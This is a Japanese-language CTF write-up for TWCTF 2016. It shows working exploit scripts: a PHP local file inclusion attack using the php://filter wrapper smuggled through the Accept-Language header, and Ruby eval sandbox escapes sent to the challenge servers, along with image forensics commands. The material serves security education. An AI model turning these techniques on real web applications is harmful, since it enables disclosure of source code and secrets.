TWCTF 2016 Write-up
TWCTF 2016にチームringolliaで参加しました。チームとしては99位で、私は5個のフラグをsubmitしました。以下、write upです。
Global Page(Web 50)
?page=に値を与えると"."と"/"がremoveされてファイルパスとして評価され結果を返してくるサービスを与えられました。 /?page=tokyoのパスにブラウザでアクセスしてみると、以下の様なphp warningが表示されていました
Warning: include(tokyo/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41 Warning: include(): Failed opening 'tokyo/en-US.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41
どうやらAccept-Languageで指定された値をファイル名、pageの値をディレクトリ名として使っているようです。後は自明にphp://filter/でresourceを指定すれば良くて
require "http" r = HTTP .headers("Accept-Language" => "/filter/convert.base64-encode/resource=index") .get("http://globalpage.chal.ctf.westerns.tokyo/?page=php:") puts r.to_s
でindex.phpが降ってきます。index.phpを見ると先頭でflag.phpをincludeしていたので、後は先の方法でflag.phpを持ってくるだけ。
TWCTF{I_found_simple_LFI}
Private / Local / Comment
seccompでシステムコールを制限された状態でevalを実行してくれるプログラムが動いているので、そこからflagを入手する問題群。
Private(PPC 50)
require_relative 'restrict' Restrict.set_timeout class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] Restrict.seccomp STDOUT.puts eval(input)
組み込みのメソッド含めたすべてのメソッドがprivateに隠蔽されたPrivateインスタンスからflag()を実行させなければいけない.(input <= 24)
特異メソッドを使えば可能。exploitは以下。
require "socket" payload = 'def p.a;flag;end;p.a' puts "payload length is #{payload.length}" TCPSocket.open "ppc1.chal.ctf.westerns.tokyo", 1111 do |s| s.puts payload print s.read end
TWCTF{PrivatePreview}
Local(PPC 70)
require_relative 'restrict' Restrict.set_timeout def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] Restrict.seccomp STDOUT.puts get_flag(eval(input))
メソッド内に束縛されたローカル変数を読まなければならない。(input <= 60)
set_trace_funcを使用するとrubyインタプリタの実行をトレースできる、これを使ってget_flagのbindingを取得し, そのコンテキスト内でevalすれば終了。
require "socket" payload = 'set_trace_func proc{|*a|a[4].eval("(p flag) rescue nil")}' puts "payload length is #{payload.length}" TCPSocket.open "ppc1.chal.ctf.westerns.tokyo", 1112 do |s| s.puts payload print s.read end # => # nil # nil # "TWCTF{EnjoyC0untryLife}" # "TWCTF{EnjoyC0untryLife}" # #<Proc:0x00000000873408@(eval):1>
TWCTF{EnjoyC0untryLife}
glance(misc 50)
アニメgifが与えられた。1フレーム毎に抽出して横につなげて終わり。
$ convert glance.gif +adjoin flame.png $ convert +append * out.png
TWCTF{Bliss by Charles O'Rear}
ninth(misc 100)
画像ファイルが与えられた。よく分からなかったがbinwalkで埋め込まれてるファイルをextractしてstringsで見たら終わった。想定解法はなんだろう。
$ binwalk ninth.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1200 x 848, 8-bit/color RGBA, non-interlaced 99 0x63 Zlib compressed data, default compression $ binwalk -e ninth.png $ cd _ninth.png.extracted/ $ ls 63 63.zlib $ strings 63 TWCTF{WAMP_Are_You_Ready?}
TWCTF{WAMP_Are_You_Ready?}